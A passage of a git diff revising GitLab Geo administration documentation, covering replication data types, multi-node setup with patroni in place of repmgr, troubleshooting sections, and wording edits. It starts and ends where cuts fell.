docs](index.md) to promote the -**secondary** node to a **primary** node. This process will cause a brief outage on the **secondary** node, and users may need to log in again. +**secondary** node to a **primary** node. This process causes a brief outage on the **secondary** node, and users may need to log in again. -Once it is completed, the maintenance window is over! Your new **primary** node will now +Once it is completed, the maintenance window is over! Your new **primary** node, now begin to diverge from the old one. If problems do arise at this point, failing back to the old **primary** node [is possible](bring_primary_back.md), but likely to result in the loss of any data uploaded to the new **primary** in the meantime. diff --git a/doc/administration/geo/index.md b/doc/administration/geo/index.md index 780e391973c..295a448c432 100644 --- a/doc/administration/geo/index.md +++ b/doc/administration/geo/index.md @@ -27,7 +27,7 @@ to clone and fetch large repositories, speeding up development. For a video introduction to Geo, see [Introduction to GitLab Geo - GitLab Features](https://www.youtube.com/watch?v=-HDLxSjEh6w). -To make sure you're using the right version of the documentation, navigate to [the Geo page on GitLab.com](https://gitlab.com/gitlab-org/gitlab/blob/master/doc/administration/geo/index.md) and choose the appropriate release from the **Switch branch/tag** dropdown. For example, [`v13.7.6-ee`](https://gitlab.com/gitlab-org/gitlab/-/blob/v13.7.6-ee/doc/administration/geo/index.md). +To make sure you're using the right version of the documentation, navigate to [the Geo page on GitLab.com](https://gitlab.com/gitlab-org/gitlab/-/blob/master/doc/administration/geo/index.md) and choose the appropriate release from the **Switch branch/tag** dropdown. For example, [`v13.7.6-ee`](https://gitlab.com/gitlab-org/gitlab/-/blob/v13.7.6-ee/doc/administration/geo/index.md). Geo uses a set of defined terms that is described in the [Geo Glossary](glossary.md), please familiarize yourself with those terms. @@ -56,11 +56,12 @@ Geo provides: ### Gitaly Cluster Geo should not be confused with [Gitaly Cluster](../gitaly/praefect.md). For more information about -the difference between Geo and Gitaly Cluster, see [Gitaly Cluster compared to Geo](../gitaly/index.md#gitaly-cluster-compared-to-geo). +the difference between Geo and Gitaly Cluster, see +[How does Gitaly Cluster compare to Geo?](../gitaly/faq.md#how-does-gitaly-cluster-compare-to-geo). ## How it works -Your Geo instance can be used for cloning and fetching projects, in addition to reading any data. This will make working with large repositories over large distances much faster. +Your Geo instance can be used for cloning and fetching projects, in addition to reading any data. This makes working with large repositories over large distances much faster.  @@ -121,7 +122,7 @@ The following are required to run Geo: The following operating systems are known to ship with a current version of OpenSSH: - [CentOS](https://www.centos.org) 7.4+ - [Ubuntu](https://ubuntu.com) 16.04+ -- PostgreSQL 11+ with [Streaming Replication](https://wiki.postgresql.org/wiki/Streaming_Replication) +- PostgreSQL 12+ with [Streaming Replication](https://wiki.postgresql.org/wiki/Streaming_Replication) - Git 2.9+ - Git-lfs 2.4.2+ on the user side when using LFS - All sites must run the same GitLab version. @@ -150,17 +151,17 @@ NOTE: When using HTTP or HTTPS proxying, your load balancer must be configured to pass through the `Connection` and `Upgrade` hop-by-hop headers. See the [web terminal](../integration/terminal.md) integration guide for more details. NOTE: -When using HTTPS protocol for port 443, you will need to add an SSL certificate to the load balancers. +When using HTTPS protocol for port 443, you need to add an SSL certificate to the load balancers. If you wish to terminate SSL at the GitLab application server instead, use TCP protocol. ### LDAP -We recommend that if you use LDAP on your **primary** site, you also set up secondary LDAP servers on each **secondary** site. Otherwise, users will not be able to perform Git operations over HTTP(s) on the **secondary** site using HTTP Basic Authentication. However, Git via SSH and personal access tokens will still work. +We recommend that if you use LDAP on your **primary** site, you also set up secondary LDAP servers on each **secondary** site. Otherwise, users are unable to perform Git operations over HTTP(s) on the **secondary** site using HTTP Basic Authentication. However, Git via SSH and personal access tokens still works. NOTE: -It is possible for all **secondary** sites to share an LDAP server, but additional latency can be an issue. Also, consider what LDAP server will be available in a [disaster recovery](disaster_recovery/index.md) scenario if a **secondary** site is promoted to be a **primary** site. +It is possible for all **secondary** sites to share an LDAP server, but additional latency can be an issue. Also, consider what LDAP server is available in a [disaster recovery](disaster_recovery/index.md) scenario if a **secondary** site is promoted to be a **primary** site. -Check for instructions on how to set up replication in your LDAP service. Instructions will be different depending on the software or service used. For example, OpenLDAP provides [these instructions](https://www.openldap.org/doc/admin24/replication.html). +Check for instructions on how to set up replication in your LDAP service. Instructions are different depending on the software or service used. For example, OpenLDAP provides [these instructions](https://www.openldap.org/doc/admin24/replication.html). ### Geo Tracking Database @@ -179,9 +180,9 @@ This daemon: - Reads a log of events replicated by the **primary** site to the **secondary** database instance. - Updates the Geo Tracking Database instance with changes that need to be executed. -When something is marked to be updated in the tracking database instance, asynchronous jobs running on the **secondary** site will execute the required operations and update the state. +When something is marked to be updated in the tracking database instance, asynchronous jobs running on the **secondary** site execute the required operations and update the state. -This new architecture allows GitLab to be resilient to connectivity issues between the sites. It doesn't matter how long the **secondary** site is disconnected from the **primary** site as it will be able to replay all the events in the correct order and become synchronized with the **primary** site again. +This new architecture allows GitLab to be resilient to connectivity issues between the sites. It doesn't matter how long the **secondary** site is disconnected from the **primary** site as it is able to replay all the events in the correct order and become synchronized with the **primary** site again. ## Limitations @@ -196,7 +197,7 @@ This list of limitations only reflects the latest version of GitLab. If you are - Object pools for forked project deduplication work only on the **primary** site, and are duplicated on the **secondary** site. - GitLab Runners cannot register with a **secondary** site. Support for this is [planned for the future](https://gitlab.com/gitlab-org/gitlab/-/issues/3294). - Configuring Geo **secondary** sites to [use high-availability configurations of PostgreSQL](https://gitlab.com/groups/gitlab-org/-/epics/2536) is currently in **alpha** support. -- [Selective synchronization](replication/configuration.md#selective-synchronization) only limits what repositories are replicated. The entire PostgreSQL data is still replicated. Selective synchronization is not built to accomodate compliance / export control use cases. +- [Selective synchronization](replication/configuration.md#selective-synchronization) only limits what repositories are replicated. The entire PostgreSQL data is still replicated. Selective synchronization is not built to accommodate compliance / export control use cases. ### Limitations on replication/verification @@ -280,7 +281,7 @@ For an example of how to set up a location-aware Git remote URL with AWS Route53 ### Backfill -Once a **secondary** site is set up, it will start replicating missing data from +Once a **secondary** site is set up, it starts replicating missing data from the **primary** site in a process known as **backfill**. You can monitor the synchronization process on each Geo site from the **primary** site's **Geo Nodes** dashboard in your browser. diff --git a/doc/administration/geo/replication/datatypes.md b/doc/administration/geo/replication/datatypes.md index e2f12cbd8dc..a1461a64518 100644 --- a/doc/administration/geo/replication/datatypes.md +++ b/doc/administration/geo/replication/datatypes.md @@ -47,8 +47,8 @@ verification methods: | Blobs | Container registry _(file system)_ | Geo with API/Docker API | _Not implemented_ | | Blobs | Container registry _(object storage)_ | Geo with API/Managed/Docker API (*2*) | _Not implemented_ | | Blobs | Package registry _(file system)_ | Geo with API | SHA256 checksum | -| Blobs | Package registry _(object storage)_ | Geo with API/Managed (*2*) | SHA256 checksum | -| Blobs | Versioned Terraform State _(file system)_ | Geo with API | _Not implemented_ | +| Blobs | Package registry _(object storage)_ | Geo with API/Managed (*2*) | _Not implemented_ | +| Blobs | Versioned Terraform State _(file system)_ | Geo with API | SHA256 checksum | | Blobs | Versioned Terraform State _(object storage)_ | Geo with API/Managed (*2*) | _Not implemented_ | | Blobs | External Merge Request Diffs _(file system)_ | Geo with API | _Not implemented_ | | Blobs | External Merge Request Diffs _(object storage)_ | Geo with API/Managed (*2*) | _Not implemented_ | @@ -180,7 +180,7 @@ successfully, you must replicate their data using some other means. |[Project wiki repository](../../../user/project/wiki/) | **Yes** (10.2) | **Yes** (10.7) | No | | |[Group wiki repository](../../../user/project/wiki/index.md#group-wikis) | [**Yes** (13.10)](https://gitlab.com/gitlab-org/gitlab/-/issues/208147) | No | No | Behind feature flag `geo_group_wiki_repository_replication`, enabled by default. | |[Uploads](../../uploads.md) | **Yes** (10.2) | [No](https://gitlab.com/groups/gitlab-org/-/epics/1817) | No | Verified only on transfer or manually using [Integrity Check Rake Task](../../raketasks/check.md) on both sites and comparing the output between them. | -|[LFS objects](../../lfs/index.md) | **Yes** (10.2) | [No](https://gitlab.com/gitlab-org/gitlab/-/issues/8922) | Via Object Storage provider if supported. Native Geo support (Beta). | Verified only on transfer or manually using [Integrity Check Rake Task](../../raketasks/check.md) on both sites and comparing the output between them. GitLab versions 11.11.x and 12.0.x are affected by [a bug that prevents any new LFS objects from replicating](https://gitlab.com/gitlab-org/gitlab/-/issues/32696). | +|[LFS objects](../../lfs/index.md) | **Yes** (10.2) | [No](https://gitlab.com/gitlab-org/gitlab/-/issues/8922) | Via Object Storage provider if supported. Native Geo support (Beta). | Verified only on transfer or manually using [Integrity Check Rake Task](../../raketasks/check.md) on both sites and comparing the output between them. GitLab versions 11.11.x and 12.0.x are affected by [a bug that prevents any new LFS objects from replicating](https://gitlab.com/gitlab-org/gitlab/-/issues/32696).<br /><br />Behind feature flag `geo_lfs_object_replication`, enabled by default. | |[Personal snippets](../../../user/snippets.md) | **Yes** (10.2) | **Yes** (10.2) | No | | |[Project snippets](../../../user/snippets.md) | **Yes** (10.2) | **Yes** (10.2) | No | | |[CI job artifacts (other than Job Logs)](../../../ci/pipelines/job_artifacts.md) | **Yes** (10.4) | [No](https://gitlab.com/gitlab-org/gitlab/-/issues/8923) | Via Object Storage provider if supported. Native Geo support (Beta). | Verified only manually using [Integrity Check Rake Task](../../raketasks/check.md) on both sites and comparing the output between them. | @@ -189,49 +189,25 @@ successfully, you must replicate their data using some other means. |[Object pools for forked project deduplication](../../../development/git_object_deduplication.md) | **Yes** | No | No | | |[Container Registry](../../packages/container_registry.md) | **Yes** (12.3) | No | No | Disabled by default. See [instructions](docker_registry.md) to enable. | |[Content in object storage (beta)](object_storage.md) | **Yes** (12.4) | [No](https://gitlab.com/gitlab-org/gitlab/-/issues/13845) | No | | -|[Project designs repository](../../../user/project/issues/design_management.md) | **Yes** (12.7) | [No](https://gitlab.com/gitlab-org/gitlab/-/issues/32467) | Via Object Storage provider if supported. Native Geo support (Beta). | | -|[Package Registry for npm](../../../user/packages/npm_registry/index.md) | **Yes** (13.2) | **Yes** (13.10) | Via Object Storage provider if supported. Native Geo support (Beta). | Behind feature flag `geo_package_file_replication`, enabled by default. | -|[Package Registry for Maven](../../../user/packages/maven_repository/index.md) | **Yes** (13.2) | **Yes** (13.10) | Via Object Storage provider if supported. Native Geo support (Beta). | Behind feature flag `geo_package_file_replication`, enabled by default. | -|[Package Registry for Conan](../../../user/packages/conan_repository/index.md) | **Yes** (13.2) | **Yes** (13.10) | Via Object Storage provider if supported. Native Geo support (Beta). | Behind feature flag `geo_package_file_replication`, enabled by default. | -|[Package Registry for NuGet](../../../user/packages/nuget_repository/index.md) | **Yes** (13.2) | **Yes** (13.10) | Via Object Storage provider if supported. Native Geo support (Beta). | Behind feature flag `geo_package_file_replication`, enabled by default. | -|[Package Registry for PyPI](../../../user/packages/pypi_repository/index.md) | **Yes** (13.2) | **Yes** (13.10) | Via Object Storage provider if supported. Native Geo support (Beta). | Behind feature flag `geo_package_file_replication`, enabled by default. | -|[Package Registry for Composer](../../../user/packages/composer_repository/index.md) | **Yes** (13.2) | **Yes** (13.10) | Via Object Storage provider if supported. Native Geo support (Beta). | Behind feature flag `geo_package_file_replication`, enabled by default. | -|[Package Registry for generic packages](../../../user/packages/generic_packages/index.md) | **Yes** (13.5) | **Yes** (13.10) | Via Object Storage provider if supported. Native Geo support (Beta). | Behind feature flag `geo_package_file_replication`, enabled by default. | -|[Versioned Terraform State](../../terraform_state.md) | **Yes** (13.5) | No | Via Object Storage provider if supported. Native Geo support (Beta). | Behind feature flag `geo_terraform_state_version_replication`, enabled by default. | -|[External merge request diffs](../../merge_request_diffs.md) | **Yes** (13.5) | No | Via Object Storage provider if supported. Native Geo support (Beta). | Behind feature flag `geo_merge_request_diff_replication`, enabled by default. | +|[Project designs repository](../../../user/project/issues/design_management.md) | **Yes** (12.7) | [No](https://gitlab.com/gitlab-org/gitlab/-/issues/32467) | No | Designs also require replication of LFS objects and Uploads. | +|[Package Registry for npm](../../../user/packages/npm_registry/index.md) | **Yes** (13.2) | [**Yes**](#limitation-of-verification-for-files-in-object-storage) (13.10) | Via Object Storage provider if supported. Native Geo support (Beta). | Behind feature flag `geo_package_file_replication`, enabled by default. | +|[Package Registry for Maven](../../../user/packages/maven_repository/index.md) | **Yes** (13.2) | [**Yes**](#limitation-of-verification-for-files-in-object-storage) (13.10) | Via Object Storage provider if supported. Native Geo support (Beta). | Behind feature flag `geo_package_file_replication`, enabled by default. | +|[Package Registry for Conan](../../../user/packages/conan_repository/index.md) | **Yes** (13.2) | [**Yes**](#limitation-of-verification-for-files-in-object-storage) (13.10) | Via Object Storage provider if supported. Native Geo support (Beta). | Behind feature flag `geo_package_file_replication`, enabled by default. | +|[Package Registry for NuGet](../../../user/packages/nuget_repository/index.md) | **Yes** (13.2) | [**Yes**](#limitation-of-verification-for-files-in-object-storage) (13.10) | Via Object Storage provider if supported. Native Geo support (Beta). | Behind feature flag `geo_package_file_replication`, enabled by default. | +|[Package Registry for PyPI](../../../user/packages/pypi_repository/index.md) | **Yes** (13.2) | [**Yes**](#limitation-of-verification-for-files-in-object-storage) (13.10) | Via Object Storage provider if supported. Native Geo support (Beta). | Behind feature flag `geo_package_file_replication`, enabled by default. | +|[Package Registry for Composer](../../../user/packages/composer_repository/index.md) | **Yes** (13.2) | [**Yes**](#limitation-of-verification-for-files-in-object-storage) (13.10) | Via Object Storage provider if supported. Native Geo support (Beta). | Behind feature flag `geo_package_file_replication`, enabled by default. | +|[Package Registry for generic packages](../../../user/packages/generic_packages/index.md) | **Yes** (13.5) | [**Yes**](#limitation-of-verification-for-files-in-object-storage) (13.10) | Via Object Storage provider if supported. Native Geo support (Beta). | Behind feature flag `geo_package_file_replication`, enabled by default. | +|[Versioned Terraform State](../../terraform_state.md) | **Yes** (13.5) | [**Yes**](#limitation-of-verification-for-files-in-object-storage) (13.12) | Via Object Storage provider if supported. Native Geo support (Beta). | Replication is behind the feature flag `geo_terraform_state_version_replication`, enabled by default. Verification was behind the feature flag `geo_terraform_state_version_verification`, which was removed in 14.0| +|[External merge request diffs](../../merge_request_diffs.md) | **Yes** (13.5) | No | Via Object Storage provider if supported. Native Geo support (Beta). | Replication is behind the feature flag `geo_merge_request_diff_replication`, enabled by default. Verification is under development, behind the feature flag `geo_merge_request_diff_verification`, introduced in 14.0.| |[Versioned snippets](../../../user/snippets.md#versioned-snippets) | [**Yes** (13.7)](https://gitlab.com/groups/gitlab-org/-/epics/2809) | [No](https://gitlab.com/groups/gitlab-org/-/epics/2810) | No | | |[Server-side Git hooks](../../server_hooks.md) | [No](https://gitlab.com/groups/gitlab-org/-/epics/1867) | No | No | | |[Elasticsearch integration](../../../integration/elasticsearch.md) | [No](https://gitlab.com/gitlab-org/gitlab/-/issues/1186) | No | No | | -|[GitLab Pages](../../pages/index.md) | [No](https://gitlab.com/groups/gitlab-org/-/epics/589) | No | No | | +|[GitLab Pages](../../pages/index.md) | [No](https://gitlab.com/groups/gitlab-org/-/epics/589) | No | Via Object Storage provider if supported. **No** native Geo support (Beta). | | |[Dependency proxy images](../../../user/packages/dependency_proxy/index.md) | [No](https://gitlab.com/gitlab-org/gitlab/-/issues/259694) | No | No | Blocked on [Geo: Secondary Mimicry](https://gitlab.com/groups/gitlab-org/-/epics/1528). Note that replication of this cache is not needed for Disaster Recovery purposes because it can be recreated from external sources. | -|[Vulnerability Export](../../../user/application_security/vulnerability_report/#export-vulnerability-details) | [Not planned](https://gitlab.com/groups/gitlab-org/-/epics/3111) | No | Via Object Storage provider if supported. Native Geo support (Beta). | Not planned because they are ephemeral and sensitive. They can be regenerated on demand. | +|[Vulnerability Export](../../../user/application_security/vulnerability_report/#export-vulnerability-details) | [Not planned](https://gitlab.com/groups/gitlab-org/-/epics/3111) | No | | Not planned because they are ephemeral and sensitive. They can be regenerated on demand. | -#### LFS object replication using the self service framework +#### Limitation of verification for files in Object Storage -> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/276696) in GitLab 13.12. -> - [Deployed behind a feature flag](../../../user/feature_flags.md), enabled by default. -> - Not enabled on GitLab.com as Geo is not enabled. -> - Recommended for production use. -> - For GitLab self-managed instances, GitLab administrators can opt to [disable it](#enable-or-disable-lfs-object-replication-using-the-self-service-framework). +GitLab managed Object Storage replication support [is in beta](object_storage.md#enabling-gitlab-managed-object-storage-replication). -There can be [risks when disabling released features](../../../user/feature_flags.md#risks-when-disabling-released-features). -Refer to this feature's version history for more details. - -##### Enable or disable LFS object replication using the self service framework - -LFS object replication using the self service framework is under development but ready for production use. It is -deployed behind a feature flag that is **enabled by default**. -[GitLab administrators with access to the GitLab Rails console](../../../administration/feature_flags.md) -can opt to disable it. - -To enable it: - -```ruby -Feature.enable(:geo_lfs_object_replication) -``` - -To disable it: - -```ruby -Feature.disable(:geo_lfs_object_replication) -``` +Locally stored files are verified but remote stored files are not. diff --git a/doc/administration/geo/replication/faq.md b/doc/administration/geo/replication/faq.md index a83a1c22db6..ef41b2ff172 100644 --- a/doc/administration/geo/replication/faq.md +++ b/doc/administration/geo/replication/faq.md @@ -17,13 +17,13 @@ On each **secondary** site, there is a read-only replicated copy of the GitLab d A **secondary** site also has a tracking database where it stores which projects have been synced. Geo compares the two databases to find projects that are not yet tracked. -At the start, this tracking database is empty, so Geo will start trying to update from every project that it can see in the GitLab database. +At the start, this tracking database is empty, so Geo tries to update from every project that it can see in the GitLab database. For each project to sync: -1. Geo will issue a `git fetch geo --mirror` to get the latest information from the **primary** site. - If there are no changes, the sync will be fast and end quickly. Otherwise, it will pull the latest commits. -1. The **secondary** site will update the tracking database to store the fact that it has synced projects A, B, C, etc. +1. Geo issues a `git fetch geo --mirror` to get the latest information from the **primary** site. + If there are no changes, the sync is fast. Otherwise, it has to pull the latest commits. +1. The **secondary** site updates the tracking database to store the fact that it has synced projects A, B, C, etc. 1. Repeat until all projects are synced. When someone pushes a commit to the **primary** site, it generates an event in the GitLab database that the repository has changed. @@ -70,4 +70,4 @@ Yes. See [Docker Registry for a **secondary** site](docker_registry.md). ## Can I login to a secondary site? -Yes, but secondary sites receive all authentication data (like user accounts and logins) from the primary instance. This means you will be re-directed to the primary for authentication and routed back afterwards. +Yes, but secondary sites receive all authentication data (like user accounts and logins) from the primary instance. This means you are re-directed to the primary for authentication and then routed back. diff --git a/doc/administration/geo/replication/geo_validation_tests.md b/doc/administration/geo/replication/geo_validation_tests.md index 8f67e70c9e2..c6b1078ddf0 100644 --- a/doc/administration/geo/replication/geo_validation_tests.md +++ b/doc/administration/geo/replication/geo_validation_tests.md @@ -43,7 +43,7 @@ The following are GitLab upgrade validation tests we performed. - Outcome: Partial success because we observed downtime during the upgrade of the primary and secondary sites. - Follow up issues/actions: - [Fix zero-downtime upgrade process/instructions for multi-node Geo deployments](https://gitlab.com/gitlab-org/gitlab/-/issues/225684) - - [Geo:check Rake task: Exclude AuthorizedKeysCommand check if node not running Puma/Unicorn](https://gitlab.com/gitlab-org/gitlab/-/issues/225454) + - [Geo:check Rake task: Exclude AuthorizedKeysCommand check if node not running Puma](https://gitlab.com/gitlab-org/gitlab/-/issues/225454) - [Update instructions in the next upgrade issue to include monitoring HAProxy dashboards](https://gitlab.com/gitlab-org/gitlab/-/issues/225359) [Upgrade Geo multi-node installation](https://gitlab.com/gitlab-org/gitlab/-/issues/208104): @@ -53,7 +53,7 @@ The following are GitLab upgrade validation tests we performed. - Outcome: Partial success because we did not run the looping pipeline during the demo to validate zero-downtime. - Follow up issues: - - [Clarify how Puma/Unicorn should include deploy node](https://gitlab.com/gitlab-org/omnibus-gitlab/-/issues/5460) + - [Clarify how Puma should include deploy node](https://gitlab.com/gitlab-org/omnibus-gitlab/-/issues/5460) - [Investigate MR creation failure after upgrade to 12.9.10](https://gitlab.com/gitlab-org/gitlab/-/issues/223282) Closed as false positive. ### February 2020 diff --git a/doc/administration/geo/replication/multiple_servers.md b/doc/administration/geo/replication/multiple_servers.md index 59bb3884a02..ea2488b65fb 100644 --- a/doc/administration/geo/replication/multiple_servers.md +++ b/doc/administration/geo/replication/multiple_servers.md @@ -17,9 +17,9 @@ described, it is possible to adapt these instructions to your needs. _[diagram source - GitLab employees only](https://docs.google.com/drawings/d/1z0VlizKiLNXVVVaERFwgsIOuEgjcUqDTWPdQYsE7Z4c/edit)_ -The topology above assumes that the **primary** and **secondary** Geo clusters +The topology above assumes the **primary** and **secondary** Geo clusters are located in two separate locations, on their own virtual network -with private IP addresses. The network is configured such that all machines within +with private IP addresses. The network is configured such that all machines in one geographic location can communicate with each other using their private IP addresses. The IP addresses given are examples and may be different depending on the network topology of your deployment. @@ -44,9 +44,10 @@ Support for PostgreSQL on **secondary** nodes in multi-node configuration Because of the additional complexity involved in setting up this configuration for PostgreSQL and Redis, it is not covered by this Geo multi-node documentation. -For more information about setting up a multi-node PostgreSQL cluster and Redis cluster using the omnibus package see the multi-node documentation for -[PostgreSQL](../../postgresql/replication_and_failover.md) and -[Redis](../../redis/replication_and_failover.md), respectively. +For more information on setting up a multi-node PostgreSQL cluster and Redis cluster using the Omnibus GitLab package, see: + +- [PostgreSQL multi-node documentation](../../postgresql/replication_and_failover.md) +- [Redis multi-node documentation](../../redis/replication_and_failover.md) NOTE: It is possible to use cloud hosted services for PostgreSQL and Redis, but this is beyond the scope of this document. @@ -60,8 +61,8 @@ you already have a working GitLab instance that is in-use, it can be used as a The second cluster serves as the **secondary** node. Again, use the [GitLab multi-node documentation](../../reference_architectures/index.md) to set this up. -It's a good idea to log in and test it, however, note that its data is -wiped out as part of the process of replicating from the **primary**. +It's a good idea to log in and test it. However, be aware that its data is +wiped out as part of the process of replicating from the **primary** node. ## Configure the GitLab cluster to be the **primary** node @@ -92,9 +93,9 @@ After making these changes, [reconfigure GitLab](../../restart_gitlab.md#omnibus NOTE: PostgreSQL and Redis should have already been disabled on the -application servers, and connections from the application servers to those -services on the backend servers configured, during normal GitLab multi-node set up. See -multi-node configuration documentation for +application servers during normal GitLab multi-node setup. Connections +from the application servers to services on the backend servers should +have also been configured. See multi-node configuration documentation for [PostgreSQL](../../postgresql/replication_and_failover.md#configuring-the-application-nodes) and [Redis](../../redis/replication_and_failover.md#example-configuration-for-the-gitlab-application). @@ -120,12 +121,12 @@ major differences: called the "tracking database", which tracks the synchronization state of various resources. -Therefore, we set up the multi-node components one-by-one, and include deviations -from the normal multi-node setup. However, we highly recommend first configuring a -brand-new cluster as if it were not part of a Geo setup so that it can be -tested and verified as a working cluster. And only then should it be modified -for use as a Geo **secondary**. This helps to separate problems that are related -and are not related to Geo setup. +Therefore, we set up the multi-node components one by one and include deviations +from the normal multi-node setup. However, we highly recommend configuring a +brand-new cluster first, as if it were not part of a Geo setup. This allows +verifying that it is a working cluster. And only then should it be modified +for use as a Geo **secondary**. This helps to separate Geo setup problems from +unrelated problems. ### Step 1: Configure the Redis and Gitaly services on the **secondary** node @@ -218,11 +219,10 @@ the **primary** database. Use the following as a guide. prometheus['enable'] = false redis['enable'] = false redis_exporter['enable'] = false - repmgr['enable'] = false + patroni['enable'] = false sidekiq['enable'] = false sidekiq_cluster['enable'] = false puma['enable'] = false - unicorn['enable'] = false ``` After making these changes, [reconfigure GitLab](../../restart_gitlab.md#omnibus-gitlab-reconfigure) so the changes take effect. @@ -290,11 +290,10 @@ Configure the tracking database. prometheus['enable'] = false redis['enable'] = false redis_exporter['enable'] = false - repmgr['enable'] = false + patroni['enable'] = false sidekiq['enable'] = false sidekiq_cluster['enable'] = false puma['enable'] = false - unicorn['enable'] = false ``` After making these changes, [reconfigure GitLab](../../restart_gitlab.md#omnibus-gitlab-reconfigure) so the changes take effect. @@ -366,10 +365,10 @@ then make the following modifications: ``` NOTE: -If you had set up PostgreSQL cluster using the omnibus package and you had set -up `postgresql['sql_user_password'] = 'md5 digest of secret'` setting, keep in +If you had set up PostgreSQL cluster using the omnibus package and had set +`postgresql['sql_user_password'] = 'md5 digest of secret'`, keep in mind that `gitlab_rails['db_password']` and `geo_secondary['db_password']` -mentioned above contains the plaintext passwords. This is used to let the Rails +contains the plaintext passwords. This is used to let the Rails servers connect to the databases. NOTE: @@ -438,9 +437,8 @@ application servers above, with some changes to run only the `sidekiq` service: prometheus['enable'] = false redis['enable'] = false redis_exporter['enable'] = false - repmgr['enable'] = false + patroni['enable'] = false puma['enable'] = false - unicorn['enable'] = false ## ## The unique identifier for the Geo node. diff --git a/doc/administration/geo/replication/remove_geo_node.md b/doc/administration/geo/replication/remove_geo_node.md index 697d8c6ae38..b72cd3cbb95 100644 --- a/doc/administration/geo/replication/remove_geo_node.md +++ b/doc/administration/geo/replication/remove_geo_node.md @@ -1,5 +1,6 @@ --- redirect_to: '../../geo/replication/remove_geo_site.md' +remove_date: '2021-06-01' --- This document was moved to [another location](../../geo/replication/remove_geo_site.md). diff --git a/doc/administration/geo/replication/security_review.md b/doc/administration/geo/replication/security_review.md index f84d7a2171d..ae41599311b 100644 --- a/doc/administration/geo/replication/security_review.md +++ b/doc/administration/geo/replication/security_review.md @@ -184,7 +184,7 @@ from [owasp.org](https://owasp.org/). ### What databases and application servers support the application? -- PostgreSQL >= 11, Redis, Sidekiq, Puma. +- PostgreSQL >= 12, Redis, Sidekiq, Puma. ### How will database connection strings, encryption keys, and other sensitive components be stored, accessed, and protected from unauthorized detection? diff --git a/doc/administration/geo/replication/troubleshooting.md b/doc/administration/geo/replication/troubleshooting.md index 6d990fd12ba..1fd923dbaf1 100644 --- a/doc/administration/geo/replication/troubleshooting.md +++ b/doc/administration/geo/replication/troubleshooting.md @@ -583,64 +583,6 @@ to start again from scratch, there are a few steps that can help you: gitlab-ctl start ``` -## Fixing errors during a PostgreSQL upgrade or downgrade - -### Message: `ERROR: psql: FATAL: role "gitlab-consul" does not exist` - -When -[upgrading PostgreSQL on a Geo instance](https://docs.gitlab.com/omnibus/settings/database.html#upgrading-a-geo-instance), you might encounter the -following error: - -```plaintext -$ sudo gitlab-ctl pg-upgrade --target-version=11 -Checking for an omnibus managed postgresql: OK -Checking if postgresql['version'] is set: OK -Checking if we already upgraded: NOT OK -Checking for a newer version of PostgreSQL to install -Upgrading PostgreSQL to 11.7 -Checking if PostgreSQL bin files are symlinked to the expected location: OK -Waiting 30 seconds to ensure tasks complete before PostgreSQL upgrade. -See https://docs.gitlab.com/omnibus/settings/database.html#upgrade-packaged-postgresql-server for details -If you do not want to upgrade the PostgreSQL server at this time, enter Ctrl-C and see the documentation for details - -Please hit Ctrl-C now if you want to cancel the operation. -..............................Detected an HA cluster. -Error running command: /opt/gitlab/embedded/bin/psql -qt -d gitlab_repmgr -h /var/opt/gitlab/postgresql -p 5432 -c "SELECT name FROM repmgr_gitlab_cluster.repl_nodes WHERE type='master' AND active != 'f'" -U gitlab-consul -ERROR: psql: FATAL: role "gitlab-consul" does not exist -Traceback (most recent call last): - 10: from /opt/gitlab/embedded/bin/omnibus-ctl:23:in `<main>' - 9: from /opt/gitlab/embedded/bin/omnibus-ctl:23:in `load' - 8: from /opt/gitlab/embedded/lib/ruby/gems/2.6.0/gems/omnibus-ctl-0.6.0/bin/omnibus-ctl:31:in `<top (required)>' - 7: from /opt/gitlab/embedded/lib/ruby/gems/2.6.0/gems/omnibus-ctl-0.6.0/lib/omnibus-ctl.rb:746:in `run' - 6: from /opt/gitlab/embedded/lib/ruby/gems/2.6.0/gems/omnibus-ctl-0.6.0/lib/omnibus-ctl.rb:204:in `block in add_command_under_category' - 5: from /opt/gitlab/embedded/service/omnibus-ctl/pg-upgrade.rb:171:in `block in load_file' - 4: from /opt/gitlab/embedded/service/omnibus-ctl-ee/lib/repmgr.rb:248:in `is_master?' - 3: from /opt/gitlab/embedded/service/omnibus-ctl-ee/lib/repmgr.rb:100:in `execute_psql' - 2: from /opt/gitlab/embedded/service/omnibus-ctl-ee/lib/repmgr.rb:113:in `cmd' - 1: from /opt/gitlab/embedded/lib/ruby/gems/2.6.0/gems/mixlib-shellout-3.0.9/lib/mixlib/shellout.rb:287:in `error!' -/opt/gitlab/embedded/lib/ruby/gems/2.6.0/gems/mixlib-shellout-3.0.9/lib/mixlib/shellout.rb:300:in `invalid!': Expected process to exit with [0], but received '2' (Mixlib::ShellOut::ShellCommandFailed) ----- Begin output of /opt/gitlab/embedded/bin/psql -qt -d gitlab_repmgr -h /var/opt/gitlab/postgresql -p 5432 -c "SELECT name FROM repmgr_gitlab_cluster.repl_nodes WHERE type='master' AND active != 'f'" -U gitlab-consul ---- -STDOUT: -STDERR: psql: FATAL: role "gitlab-consul" does not exist ----- End output of /opt/gitlab/embedded/bin/psql -qt -d gitlab_repmgr -h /var/opt/gitlab/postgresql -p 5432 -c "SELECT name FROM repmgr_gitlab_cluster.repl_nodes WHERE type='master' AND active != 'f'" -U gitlab-consul ---- -Ran /opt/gitlab/embedded/bin/psql -qt -d gitlab_repmgr -h /var/opt/gitlab/postgresql -p 5432 -c "SELECT name FROM repmgr_gitlab_cluster.repl_nodes WHERE type='master' AND active != 'f'" -U gitlab-consul returned 2 -``` - -If you are upgrading the PostgreSQL read-replica of a Geo secondary node, and -you are not using `consul` or `repmgr`, you may need to disable `consul` and/or -`repmgr` services in `gitlab.rb`: - -```ruby -consul['enable'] = false -repmgr['enable'] = false -``` - -Then reconfigure GitLab: - -```shell -sudo gitlab-ctl reconfigure -``` - ## Fixing errors during a failover or when promoting a secondary to a primary node The following are possible errors that might be encountered during failover or @@ -756,6 +698,30 @@ this command reports `ERROR - Replication is not up-to-date` even if replication is actually up-to-date. If replication and verification output shows that it is complete, you can add `--skip-preflight-checks` to make the command complete promotion. This bug was fixed in GitLab 13.8 and later. +### Errors when using `--skip-preflight-checks` or `--force` + +Before GitLab 13.5, you could bump into one of the following errors when using +`--skip-preflight-checks` or `--force`: + +```plaintext +get_ctl_options': invalid option: --skip-preflight-checks (OptionParser::InvalidOption) + +get_ctl_options': invalid option: --force (OptionParser::InvalidOption) +``` + +This can happen with XFS or filesystems that list files in lexical order, because the +load order of the Omnibus command files can be different than expected, and a global function would get redefined. +More details can be found in [the related 